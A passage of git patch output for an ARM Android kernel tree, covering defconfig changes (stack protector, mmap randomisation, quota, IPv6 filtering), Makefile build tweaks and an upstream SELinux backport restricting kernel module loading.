+CONFIG_CRYPTO_ABLK_HELPER=y + +# +# Authenticated Encryption with Associated Data +# +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +CONFIG_CRYPTO_SEQIV=y + +# +# Block modes +# +CONFIG_CRYPTO_CBC=y +CONFIG_CRYPTO_CTR=y +# CONFIG_CRYPTO_CTS is not set +CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_PCBC is not set +CONFIG_CRYPTO_XTS=y + +# +# Hash modes +# +# CONFIG_CRYPTO_CMAC is not set +CONFIG_CRYPTO_HMAC=y +CONFIG_CRYPTO_XCBC=y +# CONFIG_CRYPTO_VMAC is not set + +# +# Digest +# +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_GHASH is not set +CONFIG_CRYPTO_MD4=y +CONFIG_CRYPTO_MD5=y +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_RMD160 is not set +# CONFIG_CRYPTO_RMD256 is not set +# CONFIG_CRYPTO_RMD320 is not set +CONFIG_CRYPTO_SHA1=y +CONFIG_CRYPTO_SHA1_ARM=y +CONFIG_CRYPTO_SHA1_ARM_NEON=y +CONFIG_CRYPTO_SHA256=y +CONFIG_CRYPTO_SHA512=y +CONFIG_CRYPTO_SHA512_ARM_NEON=y +# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_WP512 is not set + +# +# Ciphers +# +CONFIG_CRYPTO_AES=y +CONFIG_CRYPTO_AES_ARM=y +CONFIG_CRYPTO_AES_ARM_BS=y +# CONFIG_CRYPTO_ANUBIS is not set +CONFIG_CRYPTO_ARC4=y +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +CONFIG_CRYPTO_DES=y +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_KHAZAD is not set +# CONFIG_CRYPTO_SALSA20 is not set +# CONFIG_CRYPTO_SEED is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_TEA is not set +CONFIG_CRYPTO_TWOFISH=y +CONFIG_CRYPTO_TWOFISH_COMMON=y + +# +# Compression +# +CONFIG_CRYPTO_DEFLATE=y +# CONFIG_CRYPTO_ZLIB is not set +# CONFIG_CRYPTO_LZO is not set + +# +# Random Number Generation +# +CONFIG_CRYPTO_ANSI_CPRNG=y +# CONFIG_CRYPTO_USER_API_HASH is not set +# CONFIG_CRYPTO_USER_API_SKCIPHER is not set +CONFIG_CRYPTO_HW=y +CONFIG_CRYPTO_DEV_QCE50=y +# CONFIG_FIPS_ENABLE is not set +CONFIG_CRYPTO_DEV_QCRYPTO=y +CONFIG_CRYPTO_DEV_QCE=y +CONFIG_CRYPTO_DEV_QCEDEV=y +# CONFIG_CRYPTO_DEV_OTA_CRYPTO is not set +CONFIG_ASYMMETRIC_KEY_TYPE=y +CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y +CONFIG_PUBLIC_KEY_ALGO_RSA=y +CONFIG_X509_CERTIFICATE_PARSER=y +CONFIG_BINARY_PRINTF=y + +# +# Library routines +# +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IO=y +CONFIG_CRC_CCITT=y +CONFIG_CRC16=y +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set +CONFIG_AUDIT_GENERIC=y +CONFIG_ZLIB_INFLATE=y +CONFIG_ZLIB_DEFLATE=y +CONFIG_LZO_COMPRESS=y +CONFIG_LZO_DECOMPRESS=y +CONFIG_LZ4_COMPRESS=y +CONFIG_LZ4_DECOMPRESS=y +# CONFIG_XZ_DEC is not set +# CONFIG_XZ_DEC_BCJ is not set +CONFIG_DECOMPRESS_GZIP=y +CONFIG_DECOMPRESS_BZIP2=y +CONFIG_DECOMPRESS_LZMA=y +CONFIG_GENERIC_ALLOCATOR=y +CONFIG_REED_SOLOMON=y +CONFIG_REED_SOLOMON_ENC8=y +CONFIG_REED_SOLOMON_DEC8=y +CONFIG_TEXTSEARCH=y +CONFIG_TEXTSEARCH_KMP=y +CONFIG_TEXTSEARCH_BM=y +CONFIG_TEXTSEARCH_FSM=y +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT_MAP=y +CONFIG_HAS_DMA=y +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_NLATTR=y +CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y +# CONFIG_AVERAGE is not set +CONFIG_CLZ_TAB=y +# CONFIG_CORDIC is not set +# CONFIG_DDR is not set +CONFIG_MPILIB=y +CONFIG_LIBFDT=y +CONFIG_OID_REGISTRY=y +CONFIG_QMI_ENCDEC=y +# CONFIG_QMI_ENCDEC_DEBUG is not set +# CONFIG_VIRTUALIZATION is not set From 9498f381e3eb99042e7552bee57292852ec290d4 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 12:01:06 +0530 Subject: [PATCH 152/365] defconfig: enable IP6_NF_MATCH_RPFILTER --- arch/arm/configs/zetsubou_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 52289e80dac5e..0cd0664cb866e 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -887,7 +887,7 @@ CONFIG_IP6_NF_IPTABLES=y # CONFIG_IP6_NF_MATCH_HL is not set # CONFIG_IP6_NF_MATCH_IPV6HEADER is not set # CONFIG_IP6_NF_MATCH_MH is not set -# CONFIG_IP6_NF_MATCH_RPFILTER is not set +CONFIG_IP6_NF_MATCH_RPFILTER=y # CONFIG_IP6_NF_MATCH_RT is not set # CONFIG_IP6_NF_TARGET_HL is not set CONFIG_IP6_NF_FILTER=y From 7183c011cbe6de4a5e66acdecfe78614414c029c Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 12:10:39 +0530 Subject: [PATCH 153/365] build tool: fix permission --- config.sh | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 config.sh diff --git a/config.sh b/config.sh old mode 100644 new mode 100755 From 00a2b23d8cb0acb1073b3ee38657fd59f8cf53e6 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 13:39:52 +0530 Subject: [PATCH 154/365] msm_hsusb.h: fix merge derp --- include/linux/usb/msm_hsusb.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/linux/usb/msm_hsusb.h b/include/linux/usb/msm_hsusb.h index acb31ca7c6ee9..1e310f92a7749 100644 --- a/include/linux/usb/msm_hsusb.h +++ b/include/linux/usb/msm_hsusb.h @@ -125,8 +125,8 @@ enum msm_usb_phy_type { #define IDEV_ACA_CHG_MAX 1500 #define IDEV_ACA_CHG_LIMIT 500 -#define IDEV_HVDCP_CHG_MAX 1800 #endif /* CONFIG_MACH_JALEBI */ +#define IDEV_HVDCP_CHG_MAX 1800 /** * Different states involved in USB charger detection. From d330b22c395204f7206fc6aa9411be0966419f5d Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 13:45:16 +0530 Subject: [PATCH 155/365] defconfig: disable SYSVIPC --- arch/arm/configs/zetsubou_defconfig | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 0cd0664cb866e..eb3811be38d7b 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -46,8 +46,7 @@ CONFIG_KERNEL_GZIP=y # CONFIG_KERNEL_LZ4 is not set CONFIG_DEFAULT_HOSTNAME="(none)" CONFIG_SWAP=y -CONFIG_SYSVIPC=y -CONFIG_SYSVIPC_SYSCTL=y +# CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_FHANDLE is not set CONFIG_AUDIT=y @@ -127,7 +126,6 @@ CONFIG_SCHED_HMP=y # CONFIG_CHECKPOINT_RESTORE is not set CONFIG_NAMESPACES=y # CONFIG_UTS_NS is not set -# CONFIG_IPC_NS is not set # CONFIG_USER_NS is not set # CONFIG_PID_NS is not set CONFIG_NET_NS=y @@ -1590,7 +1588,6 @@ CONFIG_TOUCHSCREEN_GEN_VKEYS=y # CONFIG_TOUCHSCREEN_PROXIMITY_SENSOR is not set # CONFIG_INPUT_MT_WRAPPER is not set # CONFIG_TOUCHSCREEN_IT7260_I2C is not set -# CONFIG_TOUCHSCREEN_HIMAX_HX852xES is not set CONFIG_INPUT_MISC=y # CONFIG_INPUT_AD714X is not set # CONFIG_INPUT_BMA150 is not set @@ -1625,7 +1622,6 @@ CONFIG_INPUT_GPIO=y # CONFIG_SENSORS_LTR553 is not set CONFIG_SENSORS_LTR559=y CONFIG_SENSORS_MMC3416X=y -# CONFIG_SENSORS_MMC3416X_ALLOW_OVERFLOW is not set # CONFIG_SENSORS_MMC3X30 is not set CONFIG_SENSORS_AKM09911=y CONFIG_SENSORS_AKM8963=y @@ -1637,12 +1633,6 @@ CONFIG_SENSORS_YAS537=y # CONFIG_SENSORS_BMM050 is not set # CONFIG_SENSORS_BMG is not set # CONFIG_SENSORS_BMI160 is not set -# CONFIG_INPUT_LSM6DX0 is not set -# CONFIG_SENSORS_ST480 is not set -# CONFIG_SENSORS_MPU6880 is not set -# CONFIG_SENSORS_PA12200001 is not set -# CONFIG_SENSORS_YL_HALL is not set -# CONFIG_SENSORS_YL_PARAMS is not set # # Hardware I/O ports @@ -3132,7 +3122,6 @@ CONFIG_QCOM_TDLS=y CONFIG_WLAN_FEATURE_11W=y CONFIG_QCOM_VOWIFI_11R=y CONFIG_ENABLE_LINUX_REG=y -# CONFIG_WLAN_OFFLOAD_PACKETS is not set # CONFIG_MACH_CKT is not set # CONFIG_MACH_CKT_MSM8939 is not set From b5414966bb897412c5e93d0c38a74d202a410f77 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 13:46:26 +0530 Subject: [PATCH 156/365] defconfig: enable INET_DIAG_DESTROY --- arch/arm/configs/zetsubou_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index eb3811be38d7b..12d8b582d1e92 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -668,7 +668,7 @@ CONFIG_INET_XFRM_MODE_TUNNEL=y CONFIG_INET_DIAG=y CONFIG_INET_TCP_DIAG=y # CONFIG_INET_UDP_DIAG is not set -# CONFIG_INET_DIAG_DESTROY is not set +CONFIG_INET_DIAG_DESTROY=y # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y CONFIG_DEFAULT_TCP_CONG="cubic" From 253ad534854d8e1b9c3eec689b279e34d3a271e7 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 13:48:07 +0530 Subject: [PATCH 157/365] defconfig: set ARCH_MMAP_RND_BITS to max possible --- arch/arm/configs/zetsubou_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 12d8b582d1e92..0736b3a954b50 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -212,7 +212,7 @@ CONFIG_MODULES_USE_ELF_REL=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_ARCH_MMAP_RND_BITS_MIN=8 CONFIG_ARCH_MMAP_RND_BITS_MAX=16 -CONFIG_ARCH_MMAP_RND_BITS=8 +CONFIG_ARCH_MMAP_RND_BITS=16 CONFIG_CLONE_BACKWARDS=y CONFIG_OLD_SIGSUSPEND3=y CONFIG_OLD_SIGACTION=y From 1963c666ea23684e59d481fc5df49f6f601a8d6b Mon Sep 17 00:00:00 2001 From: guts94 Date: Mon, 13 Jun 2016 07:58:27 +0530 Subject: [PATCH 158/365] scripts/setlocalversion: removed + --- scripts/setlocalversion | 31 ++++--------------------------- 1 file changed, 4 insertions(+), 27 deletions(-) diff --git a/scripts/setlocalversion b/scripts/setlocalversion index 8fcc5ce057265..118776b8a6284 100755 --- a/scripts/setlocalversion +++ b/scripts/setlocalversion @@ -47,38 +47,15 @@ scm_version() # If we are at a tagged commit (like "v2.6.30-rc6"), we ignore # it, because this version is defined in the top level Makefile. - if atag="`git describe --exact-match --abbrev=0 2>/dev/null`"; then - # Make sure we're at the tag that matches the Makefile. - # If not place the hash of the tag as well for - # v2.6.30-rc5-g314aef - if [ "x$atag" != "x$VERSION" ]; then - # If only the short version is requested, - # don't bother running further git commands - if $short; then - echo "+" - return - fi - printf '%s%s' -g "`git show-ref -s --abbrev --tags $atag 2>/dev/null`" - fi - else + if [ -z "`git describe --exact-match 2>/dev/null`" ]; then # If only the short version is requested, don't bother # running further git commands if $short; then - echo "+" + echo "" return fi - # If we are past a tagged commit (like - # "v2.6.30-rc5-302-g72357d5"), we pretty print it and - # include the hash of any new tag on top. - if atag="`git describe 2>/dev/null`"; then - tag="`git describe --abbrev=0 2>/dev/null`" - commit="`echo "$atag" | awk -F- '{printf("-%05d-%s", $(NF-1),$(NF))}'`" - printf '%s%s%s' -g "`git show-ref -s --abbrev --tags $tag 2>/dev/null`" $commit - # If we don't have a tag at all we print -g{commitish}. - else - printf '%s%s' -g $head - fi + fi # Is this git on svn? @@ -91,7 +68,7 @@ scm_version() # Check for uncommitted changes if git diff-index --name-only HEAD | grep -qv "^scripts/package"; then - printf '%s' -dirty + printf '%s' #-dirty fi # All done with git From ebaa89b4397befff6a30c8028cacfea67e1c6942 Mon Sep 17 00:00:00 2001 From: Ramkumar Ramachandra Date: Wed, 10 Jul 2013 23:33:38 +0530 Subject: [PATCH 159/365] scripts: remove unused function in sortextable.c Change-Id: If128d8ea4ddd5e211728507900d7bcccf419711d Signed-off-by: Ramkumar Ramachandra Acked-by: David Daney Signed-off-by: Michal Marek --- scripts/sortextable.c | 8 -------- 1 file changed, 8 deletions(-) diff --git a/scripts/sortextable.c b/scripts/sortextable.c index f9ce1160419be..7c2310c5b996d 100644 --- a/scripts/sortextable.c +++ b/scripts/sortextable.c @@ -64,14 +64,6 @@ fail_file(void) longjmp(jmpenv, SJ_FAIL); } -static void __attribute__((noreturn)) -succeed_file(void) -{ - cleanup(); - longjmp(jmpenv, SJ_SUCCEED); -} - - /* * Get the whole file as a programming convenience in order to avoid * malloc+lseek+read+free of many pieces. If successful, then mmap From a5ca7962cdeb13d659673d6e0935d75c07926289 Mon Sep 17 00:00:00 2001 From: Tim Gardner Date: Mon, 13 Oct 2014 15:54:20 -0700 Subject: [PATCH 160/365] scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized In file included from scripts/sortextable.c:194:0: scripts/sortextable.c: In function `main': scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized] memset(relocs, 0, relocs_size); ^ scripts/sortextable.h:106:6: note: `relocs_size' was declared here int relocs_size; ^ In file included from scripts/sortextable.c:192:0: scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized] memset(relocs, 0, relocs_size); ^ scripts/sortextable.h:106:6: note: `relocs_size' was declared here int relocs_size; ^ gcc 4.9.1 Signed-off-by: Tim Gardner Reviewed-by: Jamie Iles Change-Id: I0add472e1dcae4f372b5db0dd215828a7fa31c5b Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds --- scripts/sortextable.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/sortextable.h b/scripts/sortextable.h index f5eb43d429267..3f064799a8c31 100644 --- a/scripts/sortextable.h +++ b/scripts/sortextable.h @@ -101,7 +101,7 @@ do_func(Elf_Ehdr *ehdr, char const *const fname, table_sort_t custom_sort) Elf_Sym *sort_needed_sym; Elf_Shdr *sort_needed_sec; Elf_Rel *relocs = NULL; - int relocs_size; + int relocs_size = 0; uint32_t *sort_done_location; const char *secstrtab; const char *strtab; From e65ef9320f6783ce2726844236204efb979a9b9e Mon Sep 17 00:00:00 2001 From: Antonio Alecrim Jr Date: Mon, 16 Sep 2013 11:04:54 -0300 Subject: [PATCH 161/365] X.509: remove possible code fragility: enumeration values not handled Change-Id: I89fa62a109d6abc4ee4b251288535f32fad80227 Signed-off-by: Antonio Alecrim Jr Signed-off-by: David Howells --- scripts/asn1_compiler.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/scripts/asn1_compiler.c b/scripts/asn1_compiler.c index a5f9e3fa79e79..70034aaee9fe3 100644 --- a/scripts/asn1_compiler.c +++ b/scripts/asn1_compiler.c @@ -1353,6 +1353,8 @@ static void render_out_of_line_list(FILE *out) render_opcode(out, "ASN1_OP_END_SET_OF%s,\n", act); render_opcode(out, "_jump_target(%u),\n", entry); break; + default: + break; } if (e->action) render_opcode(out, "_action(ACT_%s),\n", From 6fc62a301a4f6ed8583094818d8d287965eecaf8 Mon Sep 17 00:00:00 2001 From: Jeff Vander Stoep Date: Tue, 5 Apr 2016 13:06:27 -0700 Subject: [PATCH 162/365] BACKPORT: selinux: restrict kernel module loading Backport notes: Backport uses kernel_module_from_file not kernel_read_file hook. kernel_read_file replaced kernel_module_from_file in the 4.6 kernel. There are no inode_security_() helper functions (also introduced in 4.6) so the inode lookup is done using the file_inode() helper which is standard for kernel version < 4.6. (Cherry picked from commit 61d612ea731e57dc510472fb746b55cdc017f371) Utilize existing kernel_read_file hook on kernel module load. Add module_load permission to the system class. Enforces restrictions on kernel module origin when calling the finit_module syscall. The hook checks that source type has permission module_load for the target type. Example for finit_module: allow foo bar_file:system module_load; Similarly restrictions are enforced on kernel module loading when calling the init_module syscall. The hook checks that source type has permission module_load with itself as the target object because the kernel module is sourced from the calling process. Example for init_module: allow foo foo:system module_load; Bug: 27824855 Change-Id: I64bf3bd1ab2dc735321160642dc6bbfa996f8068 Signed-off-by: Jeff Vander Stoep Signed-off-by: Paul Moore --- security/selinux/hooks.c | 33 +++++++++++++++++++++++++++++ security/selinux/include/classmap.h | 2 +- 2 files changed, 34 insertions(+), 1 deletion(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 14ca80cb0ec15..93df07d5d00ab 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -3606,6 +3606,38 @@ static int selinux_kernel_module_request(char *kmod_name) SYSTEM__MODULE_REQUEST, &ad); } +static int selinux_kernel_module_from_file(struct file *file) +{ + struct common_audit_data ad; + struct inode_security_struct *isec; + struct file_security_struct *fsec; + struct inode *inode; + u32 sid = current_sid(); + int rc; + + /* init_module */ + if (file == NULL) + return avc_has_perm(sid, sid, SECCLASS_SYSTEM, + SYSTEM__MODULE_LOAD, NULL); + + /* finit_module */ + ad.type = LSM_AUDIT_DATA_PATH; + ad.u.path = file->f_path; + + inode = file_inode(file); + isec = inode->i_security; + fsec = file->f_security; + + if (sid != fsec->sid) { + rc = avc_has_perm(sid, fsec->sid, SECCLASS_FD, FD__USE, &ad); + if (rc) + return rc; + } + + return avc_has_perm(sid, isec->sid, SECCLASS_SYSTEM, + SYSTEM__MODULE_LOAD, &ad); +} + static int selinux_task_setpgid(struct task_struct *p, pid_t pgid) { return current_has_perm(p, PROCESS__SETPGID); @@ -5932,6 +5964,7 @@ static struct security_operations selinux_ops = { .kernel_act_as = selinux_kernel_act_as, .kernel_create_files_as = selinux_kernel_create_files_as, .kernel_module_request = selinux_kernel_module_request, + .kernel_module_from_file = selinux_kernel_module_from_file, .task_setpgid = selinux_task_setpgid, .task_getpgid = selinux_task_getpgid, .task_getsid = selinux_task_getsid, diff --git a/security/selinux/include/classmap.h b/security/selinux/include/classmap.h index c32ff7bde81ab..3e53322c65293 100644 --- a/security/selinux/include/classmap.h +++ b/security/selinux/include/classmap.h @@ -32,7 +32,7 @@ struct security_class_mapping secclass_map[] = { "setsockcreate", NULL } }, { "system", { "ipc_info", "syslog_read", "syslog_mod", - "syslog_console", "module_request", NULL } }, + "syslog_console", "module_request", "module_load", NULL } }, { "capability", { "chown", "dac_override", "dac_read_search", "fowner", "fsetid", "kill", "setgid", "setuid", "setpcap", From 0c3aaf4adc3e2315847cf5ece60f9cafcec9c169 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 14:02:37 +0530 Subject: [PATCH 163/365] defconfig: enable CC_STACKPROTECTOR_STRONG --- arch/arm/configs/zetsubou_defconfig | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 0736b3a954b50..2a9d4f6dcdc91 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -201,10 +201,10 @@ CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y CONFIG_HAVE_ARCH_SECCOMP_FILTER=y CONFIG_SECCOMP_FILTER=y CONFIG_HAVE_CC_STACKPROTECTOR=y -# CONFIG_CC_STACKPROTECTOR is not set -CONFIG_CC_STACKPROTECTOR_NONE=y +CONFIG_CC_STACKPROTECTOR=y +# CONFIG_CC_STACKPROTECTOR_NONE is not set # CONFIG_CC_STACKPROTECTOR_REGULAR is not set -# CONFIG_CC_STACKPROTECTOR_STRONG is not set +CONFIG_CC_STACKPROTECTOR_STRONG=y CONFIG_HAVE_CONTEXT_TRACKING=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y From 79d1de01f3e7c81c36fed6a2b6bf74019bde76a6 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 14:03:26 +0530 Subject: [PATCH 164/365] defconfig: enable QUOTA --- arch/arm/configs/zetsubou_defconfig | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 2a9d4f6dcdc91..8eb030f7e40b1 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -3370,8 +3370,13 @@ CONFIG_FSNOTIFY=y CONFIG_DNOTIFY=y CONFIG_INOTIFY_USER=y # CONFIG_FANOTIFY is not set -# CONFIG_QUOTA is not set -# CONFIG_QUOTACTL is not set +CONFIG_QUOTA=y +# CONFIG_QUOTA_NETLINK_INTERFACE is not set +CONFIG_PRINT_QUOTA_WARNING=y +# CONFIG_QUOTA_DEBUG is not set +# CONFIG_QFMT_V1 is not set +# CONFIG_QFMT_V2 is not set +CONFIG_QUOTACTL=y # CONFIG_AUTOFS4_FS is not set CONFIG_FUSE_FS=y # CONFIG_CUSE is not set From b9dca3168a5e05720afe6a5fea99ba8649a64d2a Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 14:11:46 +0530 Subject: [PATCH 165/365] Makefile: fix merge derp --- Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 3da32584dfb6a..ab7a7b9884808 100644 --- a/Makefile +++ b/Makefile @@ -326,8 +326,8 @@ include $(srctree)/scripts/Kbuild.include # Make variables (CC, etc...) AS = $(CROSS_COMPILE)as -LD = $(CCACHE) $(CROSS_COMPILE)ld -REAL_CC = $(CROSS_COMPILE)gcc +LD = $(CROSS_COMPILE)ld +REAL_CC = $(CCACHE) $(CROSS_COMPILE)gcc CPP = $(CC) -E AR = $(CROSS_COMPILE)ar NM = $(CROSS_COMPILE)nm From 7470944b5c454953438fbc5f8e0ccb91400e3f53 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 14:12:21 +0530 Subject: [PATCH 166/365] Makefile: disable wrapper --- Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index ab7a7b9884808..9eae436d269ee 100644 --- a/Makefile +++ b/Makefile @@ -327,7 +327,7 @@ include $(srctree)/scripts/Kbuild.include AS = $(CROSS_COMPILE)as LD = $(CROSS_COMPILE)ld -REAL_CC = $(CCACHE) $(CROSS_COMPILE)gcc +CC = $(CCACHE) $(CROSS_COMPILE)gcc CPP = $(CC) -E AR = $(CROSS_COMPILE)ar NM = $(CROSS_COMPILE)nm @@ -343,7 +343,7 @@ CHECK = sparse # Use the wrapper for the compiler. This wrapper scans for new # warnings and causes the build to stop upon encountering them. -CC = $(srctree)/scripts/gcc-wrapper.py $(REAL_CC) +#CC = $(srctree)/scripts/gcc-wrapper.py $(REAL_CC) CHECKFLAGS := -D__linux__ -Dlinux -D__STDC__ -Dunix -D__unix__ \ -Wbitwise -Wno-return-void $(CF) From 2f6b2e130c7a6f35f6486e7188d3ec9511813e73 Mon Sep 17 00:00:00 2001 From: Linus Torvalds Date: Sat, 26 Jul 2014 14:52:01 -0700 Subject: [PATCH 167/365] Fix gcc-4.9.0 miscompilation of load_balance() in scheduler MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 2062afb4f804afef61cbe62a30cac9a46e58e067 upstream. Michel Dänzer and a couple of other people reported inexplicable random oopses in the scheduler, and the cause turns out to be gcc mis-compiling the load_balance() function when debugging is enabled. The gcc bug apparently goes back to gcc-4.5, but slight optimization changes means that it now showed up as a problem in 4.9.0 and 4.9.1. The instruction scheduling problem causes gcc to schedule a spill operation to before the stack frame has been created, which in turn can corrupt the spilled value if an interrupt comes in. There may be other effects of this bug too, but that's the code generation problem seen in Michel's case. This is fixed in current gcc HEAD, but the workaround as suggested by Markus Trippelsdorf is pretty simple: use -fno-var-tracking-assignments when compiling the kernel, which disables the gcc code that causes the problem. This can result in slightly worse debug information for variable accesses, but that is infinitely preferable to actual code generation problems. Doing this unconditionally (not just for CONFIG_DEBUG_INFO) also allows non-debug builds to verify that the debug build would be identical: we can do export GCC_COMPARE_DEBUG=1 to make gcc internally verify that the result of the build is independent of the "-g" flag (it will make the compiler build everything twice, toggling the debug flag, and compare the results). Without the "-fno-var-tracking-assignments" option, the build would fail (even with 4.8.3 that didn't show the actual stack frame bug) with a gcc compare failure. See also gcc bugzilla: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61801 Reported-by: Michel Dänzer Suggested-by: Markus Trippelsdorf Cc: Jakub Jelinek Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- Makefile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Makefile b/Makefile index 9eae436d269ee..506f0e851a7ba 100644 --- a/Makefile +++ b/Makefile @@ -636,6 +636,8 @@ KBUILD_CFLAGS += -fomit-frame-pointer endif endif +KBUILD_CFLAGS += $(call cc-option, -fno-var-tracking-assignments) + ifdef CONFIG_DEBUG_INFO KBUILD_CFLAGS += -g KBUILD_AFLAGS += -gdwarf-2 From be5de46f1e6b3eab47774bf990de1026287f7333 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 14:15:18 +0530 Subject: [PATCH 168/365] defconfig: disable optimize for size --- arch/arm/configs/zetsubou_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 8eb030f7e40b1..5e2ce298207ab 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -142,7 +142,7 @@ CONFIG_RD_LZMA=y # CONFIG_RD_XZ is not set # CONFIG_RD_LZO is not set # CONFIG_RD_LZ4 is not set -CONFIG_CC_OPTIMIZE_FOR_SIZE=y +# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set CONFIG_SYSCTL=y CONFIG_ANON_INODES=y CONFIG_HAVE_UID16=y From ccf8ab24e80cd07ba8723a78e41b0b11430e302e Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 14:16:56 +0530 Subject: [PATCH 169/365] Makefile: silence some warnings --- Makefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 506f0e851a7ba..942e12595ca3a 100644 --- a/Makefile +++ b/Makefile @@ -576,8 +576,11 @@ endif # $(dot-config) # Defaults to vmlinux, but the arch makefile usually adds further targets all: vmlinux +KBUILD_CFLAGS += $(call cc-disable-warning,switch,) +KBUILD_CFLAGS += $(call cc-disable-warning,maybe-uninitialized,) + ifdef CONFIG_CC_OPTIMIZE_FOR_SIZE -KBUILD_CFLAGS += -Os $(call cc-disable-warning,maybe-uninitialized,) +KBUILD_CFLAGS += -Os else KBUILD_CFLAGS += -O2 endif From 87d6ddef9ab4fec2762a026f0e3527470fb706e7 Mon Sep 17 00:00:00 2001 From: Willy Tarreau Date: Fri, 21 Oct 2016 13:11:57 +0530 Subject: [PATCH 170/365] Linux 3.10.104 MIME-Version: 